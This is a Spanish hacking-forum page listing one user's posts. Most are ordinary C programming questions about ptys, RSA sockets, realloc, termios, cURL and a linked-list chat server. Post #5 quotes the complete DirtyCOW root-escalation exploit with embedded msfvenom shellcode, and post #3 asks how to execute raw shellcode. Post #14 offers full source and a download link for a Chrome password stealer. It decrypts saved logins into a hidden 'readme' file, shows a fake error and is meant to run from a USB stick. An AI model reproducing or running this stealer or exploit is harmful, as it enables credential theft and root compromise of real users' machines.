Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - mester

#1
Hola.

Estaba trasteando con los pty's y al hacer unos cuantos me he dado cuenta de que no puedo utilizar correctamente NCURSES o moverme por el input del terminal como desearía.
Buscando imitar a SSH he mirado su codigo para ver como lo hace, pero al imitarlo me sale prácticamente lo mismo. Ejemplo del codigo:


#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <pty.h>
#include <utmp.h>
#include <sys/select.h>

int
main(void)
{
  int fdm, fds;

  openpty(&fdm, &fds, NULL, NULL, NULL);

  if ( fork() == 0 )
    {
      close(fdm);

      login_tty(fds);

      dup2(fds, 0);
      dup2(fds, 1);
      dup2(fds, 2);

      close(fds);

      char *arg[] = {NULL};

      execvp("/bin/bash", arg);
    }
  else
    {
      fd_set fd;

      while ( 1 )
        {
          char put;

          FD_ZERO(&fd);

          FD_SET(0, &fd);
          FD_SET(fdm, &fd);

          select(fdm+1, &fd, NULL, NULL, NULL);

          if ( FD_ISSET(0, &fd) )
            {
              read(0, &put, 1);
              write(fdm, &put, 1);
            }
          if ( FD_ISSET(fdm, &fd) )
            {
              read(fdm, &put, 1);
              write(1, &put, 1);
            }
        }

      close(fdm);
    }

  return 0;
}


Gracias, de antemano.
#2
Tengo los siguientes codigos:

cliente:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/err.h>

int getipbyhostname ( const char *hostname, char *ip,
                       size_t size, struct in_addr *in ) {
 int fd;
 char *r_host = (char *)hostname;
 struct sockaddr_in *r_addr = NULL;
 struct addrinfo info_addr, *res_addr, *r;

 info_addr.ai_family     = AF_INET;
 info_addr.ai_socktype   = SOCK_STREAM;
 info_addr.ai_flags      = AI_PASSIVE;
 info_addr.ai_protocol   = 0;
 info_addr.ai_addr       = NULL;
 info_addr.ai_canonname  = NULL;
 info_addr.ai_next       = NULL;

 if ( getaddrinfo ( r_host, NULL, &info_addr, &res_addr ) != 0 )
   return -1;

 for ( r = res_addr; r != NULL; r = r->ai_next ) {
   if ( r->ai_family == AF_INET ) {
     if ( (fd = socket ( r->ai_family, r->ai_socktype, r->ai_protocol )) != -1 )
       break;

     close ( fd );
   }
 }

 r_addr = (struct sockaddr_in *)r->ai_addr;

 if ( in != NULL ) {
   memcpy ( (void *)in, (void *)&r_addr->sin_addr, sizeof ( struct in_addr ) );
 } strncpy (ip, inet_ntoa ( r_addr->sin_addr ), size);

 freeaddrinfo ( res_addr );

 return 0;
}


int main (int argc, char **argv) {
 if ( argc < 3 ) {
   return fprintf ( stderr, "%s <host> <port>\n", argv[0] );
 }

 int port = atoi ( argv[2] );
 int sc, rd, e_size, pub_len = 2048;
 char host_ip[15];
 char *r_host = argv[1];
 char msg[] = "This is a successful test text did in C";
 char encrypt_msg[256];
 char *pub_key = calloc ( pub_len, sizeof ( char ) );
 struct in_addr *inaddr_st = (struct in_addr *)malloc ( sizeof ( struct in_addr ) );
 struct sockaddr_in c_addr;
 RSA *rsa = NULL;

 if ( getipbyhostname ( r_host, (char *)&host_ip, sizeof ( host_ip ), inaddr_st ) == -1 ) {
   return fprintf ( stderr, "Error getting host %s\n", argv[1] );
 }

 // opening the socket
 if ( (sc = socket ( AF_INET, SOCK_STREAM, 0 )) == -1 ) {
   return fprintf ( stderr, "Error opening socket\n" );
 }

 c_addr.sin_family = AF_INET;
 c_addr.sin_port = htons ( port );
 c_addr.sin_addr = *inaddr_st;
//  memcpy ( (void *)&c_addr.sin_addr, (void *)inaddr_st, sizeof ( struct in_addr ) );

 printf ("%s\ndd", inet_ntoa ( c_addr.sin_addr ));

 if ( connect ( sc, (struct sockaddr *)&c_addr, sizeof ( c_addr ) ) == -1 ) {
   return fprintf ( stderr, "Error connecting to the host\n" );
 }

 // receiving the public key
 rd = recv ( sc, pub_key, pub_len, 0 );

 // encrypting the message
 d2i_RSAPublicKey ( &rsa, (const unsigned char **)&pub_key, rd );
 if ( rsa == NULL ) {
   return fprintf ( stderr, "Error creating RSA public key\n" );
 }

 if ( (e_size = RSA_public_encrypt ( strlen ( msg ), (unsigned char *)msg,
         (unsigned char *)&encrypt_msg, rsa, RSA_PKCS1_PADDING )) == -1 ) {
   return fprintf ( stderr, "Error creating RSA key\n" );
 }

 // sending encrypted message
 send ( sc, encrypt_msg, e_size, 0 );

 close ( sc );

 return 0;
}


Servidor:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <openssl/bio.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
#include <openssl/rsa.h>
#include <openssl/bn.h>

RSA *RSA_generate ( int bits ) {
 RSA *rsa = RSA_new ();
 BIGNUM *e = BN_new ();

 BN_set_word ( e, RSA_F4 );

 if ( RSA_generate_key_ex ( rsa, bits, e, NULL ) == -1 )
   return NULL;

 BN_clear_free ( e );

 return rsa;
}

char *getRSAPrivateKey ( RSA *rsa ) {
 int i;
 char *priv_key = NULL;

 if ( (i = i2d_RSAPrivateKey ( rsa, (unsigned char **)&priv_key )) == -1 )
   return NULL;

 priv_key[i] = '\0';

 return priv_key;
}

char *getRSAPublicKey ( RSA *rsa ) {
 int i;
 char *pub_key = NULL;

 if ( (i = i2d_RSAPublicKey ( rsa, (unsigned char **)&pub_key )) == -1 )
   return NULL;

 pub_key[i] = '\0';

 return pub_key;
}

int createListenSocket ( int port, struct sockaddr_in *s_addr, int size ) {
 int sc;

 if ( (sc = socket ( AF_INET, SOCK_STREAM, 0 )) == -1 )
   return -1;

 s_addr->sin_family = AF_INET;
 s_addr->sin_port = htons ( port );
 s_addr->sin_addr.s_addr = INADDR_ANY;

 if ( bind ( sc, (struct sockaddr *)s_addr, size ) == -1 )
   return -1;

 if ( listen ( sc, 1 ) == -1 )
   return -1;

 return sc;
}

int main () {
 int sc, cc;
 int rd, len;
 char *pub_key = NULL;
 char *priv_key = NULL;
 unsigned char encrypt_data[256];
 unsigned char decrypt_data[2048];
 struct sockaddr_in s_addr, c_addr;
 RSA *rsa = NULL;

 // generate rsa 2048
 if ( (rsa = RSA_generate ( 2048 )) == NULL )
   return fprintf ( stderr, "Error creating RSA keys\n" );

 // getting public key
 pub_key = getRSAPublicKey ( rsa );
 priv_key = getRSAPrivateKey ( rsa );

 if ( pub_key == NULL || priv_key == NULL )
   return fprintf ( stderr, "Error creating public and private key\n" );

 // creating listen socket
 sc = createListenSocket ( 33177, &s_addr, sizeof ( s_addr ) );

 // waiting client connection
 len = sizeof ( c_addr );
 if ( (cc = accept ( sc, (struct sockaddr *)&c_addr, (socklen_t *)&len )) == -1 )
   return fprintf ( stderr, "Error accept() calling\n" );

 // sending public key
 send ( cc, pub_key, 2048, 0 );

 // receiving crypt message
 rd = recv ( cc, encrypt_data, sizeof ( encrypt_data ), 0 );
 if ( rd <= 0 )
   return fprintf ( stderr, "Error receiving information\n" );

 if ( (len = RSA_private_decrypt ( rd, encrypt_data, decrypt_data, rsa, RSA_PKCS1_PADDING )) == -1 ) {
   return fprintf ( stderr, "Error decrypting message\n" );
 } decrypt_data[len] = '\0';

 printf ("%s\n", decrypt_data);

 RSA_free ( rsa );
 close ( cc );
 close ( sc );

 return 0;
}


El problema que tengo principalmente es que no quiero usar la funcion gethostbyname, y me he hecho una propia utilizando getaddrinfo. Lo que hago es intentar establecer una conexion con el servidor, pero nunca funciona. El error está en el connect, creo, pero no encuentro el por qué no conecta.
El localhost sí funciona, pero con una ip remota no.

Gracias de antemano.
#3
Programación C/C++ / Ejecutar shellcode en C
3 Marzo 2017, 16:01 PM
Hola.

Estoy intentando ejecutar una shellcode que genero con el programa xxd de esta manera:

xxd -i executable >> some.c


Una vez tengo la shell generada en el fichero some.c intento ejecutarlo de esta manera:

unsigned char shell[] = { ... };

void (*sh)();

sh = (void (*)())shell;
(void)(*sh)();


Al compilar el programa no da ningún error. Cuando lo ejecuto me da violacion de segmento.

También he probado cargando en memoria el programa de esta manera:

void *f = mmap ( 0, sizeof ( shell ), PROT_READ|PROT_WRITE|PROT_EXEC,
                               MAP_PRIVATE|MAP_ANON, -1, 0 );

memcpy ( f, shell, sizeof ( shell );

void (*sh)() = (void (*)())f;
(void)(*sh)();


Y me pasa lo mismo xd. ¿Cómo puedo ejecutar codigo en hexadecimal en C? Es decir, lo que viene a ser coger el codigo en lenguaje máquina codificado en hex y ejecutarlo en otro programa en C.

Yo creo que lo que tengo que hacer es cargarlo en memoria y ejecutar esa posicion de memoria, pero no sé qué hago mal en este proceso ni el por qué de la violación de segmento.

Gracias de antemano.
#4
Hola.

Principalmente, mi duda es esa. He leído que con el programa iperf3 se puede obtener y tal, me parece muy bien, pero quiero hacer una función que me devuelva en ancho de banda de un ordenador Linux sin depender de programas. La cuestión es... ¿como puedo medir el ancho de banda?

Esta cuestion viene porque estoy haciendo un cliente de SFTP y me gustaría saber como puedo descargar los ficheros con sockets sin tener que limitarlo a 1024 bytes por segundo u otro numero. Si me ciño al tamaño del fichero, como pueda ser 5MB puede que supere el ancho de banda de la red, o directamente puede que al reservar la memoria para almacenar eso me dé algún error.

Mi duda final, básicamente, es ¿como puedo obtener el ancho de banda de una conexión? Tal y como se ve cuando se ejecuta pacman en ArchLinux a la hora de descargar un paquete y tal. Que indica el ancho de banda.

Gracias de antemano.
#5
Bugs y Exploits / DirtyCOW funcionamiento
25 Octubre 2016, 23:58 PM
Hola. Me he descargado de exploit-db.com el exploit DirtyCOW, y estoy aprendiendo a programar en C y me gustaría entenderlo un poco. Adjunto codigo:


/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
//char suid_binary[] = "/usr/bin/passwd";
char suid_binary[] = "mydirty";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

void *madviseThread(void *arg)
{
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
  return NULL;
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,(off_t)map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
  return NULL;
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
  return NULL;
}

int main(int argc,char *argv[]) {
    char backup[1024];

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

    sprintf(backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}


Por lo que tengo entendido en el codigo, primeramente, se llama a la funcion mmap, la cual copia el contenido del fichero en memoria. Después se llama a la funcion madvise en el thread madviseThread, que no sé lo que hace exactamente xd, y finalmente llama al thread procselfmemThread, que escribe en el contenido del fichero cargado en memoria el payload que hay declarado en 'sc'. Y bueno, la funcion waitForWrite que busca si se ha escrito en el fichero.

Lo que me gustaría saber es, primero, ¿que hace la funcion mmap exactamente?, segundo, ¿que hace la funcion madvise?, tercero, ¿para qué lo meten en un bucle tan grande?, cuarto, si se carga en memoria el fichero, ¿cómo se escribe el fichero cargado en memoria al fichero real almacenado en el disco?, y por último, si en la funcion del thread procselfmemThread en el write escribo "write (f, str, sc_len) == sc_len" ¿no debería de acabar ya que se supone que ha escrito los bytes de sc_len en el fichero objetivo?

Gracias de antemano.
#6
Hola.
Tengo el siguiente codigo:

char getch (void) {
  fflush (stdout);
  char buf;
  struct termios old = {0}, new = {0};

  if (tcgetattr (STDIN_FILENO, &old) < 0)
    return -1;

  new = old;

  new.c_lflag &= ~ICANON;
  new.c_cc[VMIN] = 1;
  new.c_cc[VTIME] = 0;

  if (tcsetattr (STDIN_FILENO, TCSANOW, &new) < 0)
    return -1;

  if (read (STDIN_FILENO, (char *)&buf, 1) < 0)
    return -1;

  if (tcsetattr (STDIN_FILENO, TCSANOW, &old) < 0)
    return -1;

  return buf;
}

int main () {
  printf ("Introduce un caracter\n");
   int a = getch ();
...
}


No entiendo por qué debo poner fflush despues de haber impreso por pantalla el "Introduce un caracter". Es decir, ¿por qué no lo imprime en primera instancia?

Gracias de antemano.
#7
Perdón por el título tan general que he puesto pero es que no sé cómo expresar lo siguiente.

Tengo la siguiente función:

char *GetJSession (FILE *sf) {
  size_t s = 0;
  char *buf = NULL;
  char *js = (char *) calloc (256, sizeof (char));
  char *str = (char *) js;

  while (getline (&buf, &s, sf) > 0) {
    printf ("%s", buf);
    if (strstr (buf, "JSESSIONID=") != NULL) {
      while (*++buf != '=');
      while (*buf != ';') {
        *str = *buf;
        str++, buf++;
        printf ("%c", *str);
      }
    }
  }
...


Lo que quiero saber es por qué es necesario el uso de str y no puedo hacer esto con la variable js directamente. Anteriores veces he intentado hacer lo siguiente:

*js = *buf;
js++, buf++;


Pero no me ha funcionado, sólo me ha funcionado haciendo que str apuntase a js. ¿Puede alguien explicarme esta necesidad?

Gracias de antemano
#8
Hola.

Estoy haciendo un programa que usa cURL para autenticarse en la UA, pero no consigo hacer que envíe los datos por POST. El codigo es el siguiente:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <curl/curl.h>

int main (int argc, char **argv) {
  if (argc < 2)
    return fprintf (stderr, "%s <ua mail>\n", argv[0]);

  char *user = argv[1];
  char *pass = getpass ("Contraseña de la UA: ");
  CURL *cSession;
  FILE *sf = fopen ("res.html", "at");
  struct curl_httppost *pData = NULL;
  struct curl_httppost *last = NULL;

  curl_formadd (&pData, &last,
    CURLFORM_COPYNAME, "username",
    CURLFORM_COPYCONTENTS, argv[1],
    CURLFORM_END);
  curl_formadd (&pData, &last,
    CURLFORM_COPYNAME, "password",
    CURLFORM_COPYCONTENTS, pass,
    CURLFORM_END);

  cSession = curl_easy_init ();
  if ( !cSession ) {
    fprintf (stderr, "Error iniciando cURL\n");
  } else {
    curl_easy_setopt (cSession, CURLOPT_VERBOSE, 1);
    curl_easy_setopt (cSession, CURLOPT_URL, "https://autentica.cpd.ua.es/cas/login?service=https://cvnet.cpd.ua.es/uacloud/home/indexVerificado");
    curl_easy_setopt (cSession, CURLOPT_HTTPPOST, pData);
    curl_easy_setopt (cSession, CURLOPT_FOLLOWLOCATION, 1);
    curl_easy_setopt (cSession, CURLOPT_WRITEDATA, (FILE *)sf);
    curl_easy_setopt (cSession, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");

    if (curl_easy_perform (cSession) != 0) {
      fprintf (stderr, "Error executing cURL session\n");
    } else {
      printf ("Done!\n");
    }
  }

  curl_easy_cleanup (cSession);

  return 0;
}


Lo que quiero saber es por qué no envía los datos al FORM. También he probado quitando la estructura curl_httppost y añadiendo simplemente curl_easy_setopt (cSession, CURLOPT_POSTFIELDS.

Espero que me puedan ayudar.

Y antes de que algun listillo (y vago) diga: "No hacemos tareas aquí". No, no es una tarea, sino se lo preguntaría al profesor, porque el codigo ya está medio hecho.

Gracias de antemano.
#9
Programación C/C++ / Duda con realloc
6 Septiembre 2016, 16:48 PM
Hola.

Nunca he usado la función realloc, y ahora utilizandola me pregunto algunas cosas:
Cuando utilizo la funcion, el compilador me fuerza un poco a que utilize un valor de retorno. Por ello he hecho el siguiente programa:


int main () {
  int *a, *b = (int *) malloc (sizeof (int));

  b[0] = 20;
  a = (int *)realloc (b, 2 * sizeof (int));
  b[1] = 30;

  printf ("%p\n%p\n", &a, &b);

  return 0;
}


Las dudas que me surgen son... ¿El valor de retorno de realloc apunta a la nueva dirección con los datos que contenía el primer argumento (en este caso a[0] debería ser 20 y tendría que tener espacio para un int más)? ¿Que es lo que ocurre si hago free ( b ); y continuo usando a?
#10
Hola.

Me surge el siguiente error cuando ejecuto un programa:  "error while loading shared libraries libmysqlclient.so.18"
Soy consciente del error, me falta la librería MySQL, pero el caso es... lo que quiero hacer es compilar mi programa y hacer que sea portable. Es decir, lo que quiero es poder compilar el programa para usar la libreria estaticamente en el programa. He probado con el parámetro -static-libgcc al compilar con gcc en Linux, pero ni caso.

Espero que me podáis ayudar. Si no entendéis lo que quiero expresar, educadamente preguntadme.

Gracias de antemano.
#11
Programación C/C++ / Chat con listas en C
20 Junio 2016, 14:35 PM
Hola.

Estoy haciendo un chat con listas en C y tengo algunos problemas a la hora de insertar los datos y tal, me da violaciones de segmento cuando quiero acceder a los datos y tal.

La estructura es esta:

typedef struct _ConnectedHosts {
  int socket;
  char *Alias;
  char *ipAddr;
  struct _ConnectedHosts *Next;
} ConnectedHosts, *PConnectedHosts;


Para inicializar una estructura o crearla, utilizo esta funcion:

PConnectedHosts CreateClient(int socket) {
  int addrlen;
  char *ipAddr = (char *)calloc(INET_ADDRSTRLEN, sizeof(char));
  struct sockaddr_in ConnectedAddr;
  struct _ConnectedHosts *cHosts = (PConnectedHosts)malloc(sizeof(ConnectedHosts));

  addrlen = sizeof(ConnectedAddr);
  if(getpeername(socket, (struct sockaddr *)&ConnectedAddr, &addrlen) < 0) {
    return NULL;
  }

  inet_ntop(AF_INET, &ConnectedAddr.sin_addr, ipAddr, INET_ADDRSTRLEN);

  cHosts->socket = socket;
  cHosts->ipAddr = ipAddr;
  cHosts->Alias = (char *)calloc(ALIASLEN, sizeof(char));
  cHosts->Next = NULL;

  return cHosts;
}


Para añadir una estructura nueva a la lista uso esta otra:

void AddClient(PConnectedHosts RemoteAddr, PConnectedHosts MainAddr) {
  PConnectedHosts aux = MainAddr;

  if(MainAddr == NULL) {
    MainAddr = RemoteAddr;
  }
  else {
    while(aux->Next != NULL) {
      aux = aux->Next;
    }

    aux->Next = RemoteAddr;
  }
}


Para eliminar alguna estructura de la lista uso esta:

int DeleteClient(PConnectedHosts DeleteAddr, PConnectedHosts MainAddr) {
  if(MainAddr == NULL || DeleteAddr == NULL) {
    return 1;
  }

  PConnectedHosts bAux;
  PConnectedHosts aux = MainAddr;
  PConnectedHosts aAux;

  while(aux != DeleteAddr) {
    bAux = aux;
    aux = aux->Next;
    aAux = aux->Next;
  }

  close(aux->socket);
  free(aux->Alias);
  free(aux->ipAddr);
  free(aux);

  bAux->Next = aAux;
  return 0;
}


Y luego utilizo esta funcion para saber qué cliente ha enviado los datos (ya que se trata de un chat):

PConnectedHosts whatsClient(int socket, PConnectedHosts MainAddr) {
  PConnectedHosts aux = MainAddr;

  if(aux != NULL) {
    while(aux->Next != NULL && aux->socket != socket) {
      aux = aux->Next;
    }
  }

  return aux;
}


Y aquí está el codigo del servidor:

#include "WDestChat.h"

int main() {
  int i, aux, max, cSocket, lSocket;
  char Buffer[1025];
  struct sockaddr_in ServerAddr, ClientAddr;
  PConnectedHosts auxHosts = NULL;
  PConnectedHosts cHosts = NULL;
  fd_set master, temp;

  lSocket = CreateListenSocket(PORT, MAX, &ServerAddr);
  if(lSocket < 0) {
    PrintError("Error creating socket");
    return 1;
  }

  max = lSocket + 1;
  FD_SET(lSocket, &temp);

  while(1) {
    master = temp;
    if(select(max, &master, NULL, NULL, NULL) < 0) {
      PrintError("Error receiving information");
      return 1;
    }

    for(i = 0; i <= max; i++) {
      if(FD_ISSET(i, &master)) {
        if(i == lSocket) {
          cSocket = AcceptClient(lSocket, &ClientAddr);
          if(cSocket < 0) {
            PrintError("Error accepting client");
          }
          else {
            if(max < cSocket) {
              max = cSocket + 1;
            }
            /* Creating client list */
            auxHosts = CreateClient(cSocket);
            if(auxHosts == NULL) {
              PrintError("Error creating client list");
            }
            /* receiving the alias */
            recv(cSocket, auxHosts->Alias, 15, 0);
            /* adding client to structure */
            AddClient(auxHosts, cHosts);
            /* adding client to socket array */
            FD_SET(cSocket, &temp);

            printf("New client connected\n");
          }
        }
        else {
          aux = recv(i, Buffer, 1024, 0);
          if(aux == 0) {
            printf("%d socket was closed the connection\n", i);
            FD_CLR(i, &temp);
            auxHosts = whatsClient(i, cHosts);
            DeleteClient(auxHosts, cHosts);
          }
          else if(aux > 0) {
            printf("%s\n", Buffer);
            for(aux = 0; aux < max; aux++) {
              if(aux == i || aux == lSocket) {
                continue;
              }
              else {
                auxHosts = whatsClient(aux, cHosts);
                send(aux, auxHosts->Alias, 15, 0);
                send(aux, Buffer, 1024, 0);
              }
            }
            memset(Buffer, '\0', sizeof(Buffer));
          }
        }
      }
    }
  }
  close(lSocket);
  return 0;
}


Segun GDB da error en la línea 69, es decir, al intentar acceder a la posicion de memoria que contiene el alias. Me gustaría saber qué estoy haciendo mal. Al parecer a la hora de acceder a los datos accedo a posiciones erróneas.
#12
Programación C/C++ / Cifrado hash SHA1 en C
29 Mayo 2016, 17:32 PM
Hola.
Estoy intentando cifrar cadenas con el hash SHA1 pero me devuelve la cadena en binario, y la quiero en texto. Ejemplo:

#include <stdio.h>
#include <openssl/sha.h>

int main() {
  char *a = "hola";
  size_t len = sizeof(a);
  unsigned char hash[40];

  SHA1(a, len, hash);
  printf("%s\n", hash);

  return 0;
}


Y me devuelve esto:

�X�{�]�Μ(`x�;6�


Gracias de antemano
#13
Hola.
Estoy haciendo una shell y de momento va bien xd el problema surge cuando quiero liberar la variable que contiene los argumentos. Adjunto codigo:

char **GetCommand(int maxLength) { /*Recibe un comando*/
  int argc, secArgc;
  char *stdBuffer = (char *)malloc(sizeof(char) * maxLength);
  char **stdCommand = (char **)malloc(sizeof(char *) * (maxLength / 2));

  argc = secArgc = 0;
  stdCommand[argc] = (char *)malloc(sizeof(char) * (maxLength / 4));

  printf("%s ", COMMAND_PROMPT);
  fgets(stdBuffer, maxLength, stdin);
  stdBuffer[strlen(stdBuffer) - 1] = '\0';

  while(*stdBuffer) {
    if(*stdBuffer == '\n') {
      break;
    }

    if(*stdBuffer == ' ') {
      secArgc = 0;
      stdCommand[++argc] = (char *)malloc(sizeof(char) * (maxLength / 4));
    }

    stdCommand[argc][secArgc++] = *stdBuffer++;
  }
  stdBuffer = NULL;
  free(stdBuffer);

return stdCommand;
}


Con esta función se recibe un comando. Y este sería el main:

char **stdLine = NULL;

  while(stdLine = GetCommand(1024)) { /*Mientras se reciba un comando*/
    printf("%s\n", stdLine[0]);

    switch(comExecute((const char **)stdLine)) {
      case 0: break;
      case 1: perror("Can\'t execute these command\n");
      case EXIT_COMMAND: exit = 1;
    }
    if(exit) { /*Si ha escrito 'exit'*/
      break;
    }

    free(stdLine);
  }


El problema surge con el free(stdLine); que a la hora de imprimirlo se ve que se llena de basura o algo así, porque cuando se ejecuta el printf del main me saca carácteres raros al final de cadena que impiden que sea bien leida. He pensado en poner stdLine = NULL; pero lo que quiero es liberar memoria. ¿Sería lo mismo poner free(stdLine) que stdLine = NULL? Yo creo que no, pero como no me dedico a la programación profesionalmente, sino más por afición, pues no tengo mucha idea.

Gracias de antemano.
#14
A raíz de este hilo http://foro.elhacker.net/analisis_y_diseno_de_malware/asm_stealer_google_chrome-t447125.0.html decidí pasar el código a C para que me pareciese más familiar, y además "mejorarlo" un poco.

El hecho en ASM por Fary depende de la librería sqlite3.dll.

(EDITO)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "sqlite3.c"

#define AUTHOR "Mester"

char CurUser[40];

void ChromeDirectory(char *Disk, char *cDir)
{
  DWORD I = 40;
 
  GetUserName(CurUser, &I);
  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}

int main()
{
  int Write = 1;
  char *Query = "SELECT origin_url, username_value, password_value FROM logins";
  char *cDir = (char *)malloc(sizeof(char) * 200);
  const char *cData = (char *)malloc(sizeof(char) * 140);
  const char *Bar = "-----------------------------------";
  FILE *sf;
  DATA_BLOB DataIn, DataOut;
  sqlite3 *DB;
  sqlite3_stmt *Stmt;
 
  ChromeDirectory("C:\\", cDir);
  if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  {
    ChromeDirectory("D:\\", cDir);
    if(sqlite3_open(cDir, &DB) != SQLITE_OK)
    {
      ChromeDirectory("E:\\", cDir);
      if(sqlite3_open(cDir, &DB) != SQLITE_OK)
      {
        printf("Error 0x1%s\n", AUTHOR);
        Sleep(1000);
        return 1;
      }
    }
  }
 
  if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
  {
  printf("Error 0x2%s\n", AUTHOR);
  Sleep(1000);
    return 1;
  }
 
  sf = fopen("readme", "a+");
  if(sf == NULL)
    Write = 0;
  fprintf(sf, "%s\n%s\n\n", Bar, CurUser);
 
  while(sqlite3_step(Stmt) == SQLITE_ROW)
  {
    cData = sqlite3_column_text(Stmt, 0);
    if(Write)
      fprintf(sf, "URL: %s\n", cData);
    else
      printf("URL: %s\n", cData);
     
    cData = sqlite3_column_text(Stmt, 1);
    if(Write)
      fprintf(sf, "Username: %s\n", cData);
    else
      printf("Username: %s\n", cData);
   
    DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
    DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
 
    CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);

    DataOut.pbData[DataOut.cbData] = '\0';
    if(Write)
      fprintf(sf, "Password: %s\n\n\n", DataOut.pbData);
    else
      printf("Password: %s\n\n\n", DataOut.pbData);
  }
  if(Write)
  {
    fclose(sf);
    SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
  }
  printf("Error 0x%s", AUTHOR);
  return 0;
}


Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero.
Aquí un zip con todo:

https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing
#15
Foro Libre / 11B 3 1369
5 Enero 2016, 23:14 PM
El actual enigma de internet tiene ya una segunda parte.
El vídeo que causó tanta polémica en internet, cuyo título era "muerte" en binario, ha sacado una segunda parte que está creando nuevas teorías:
http://es.gizmodo.com/segunda-parte-de-11b-3-1369-el-siniestro-puzzle-crip-1750885265
#16
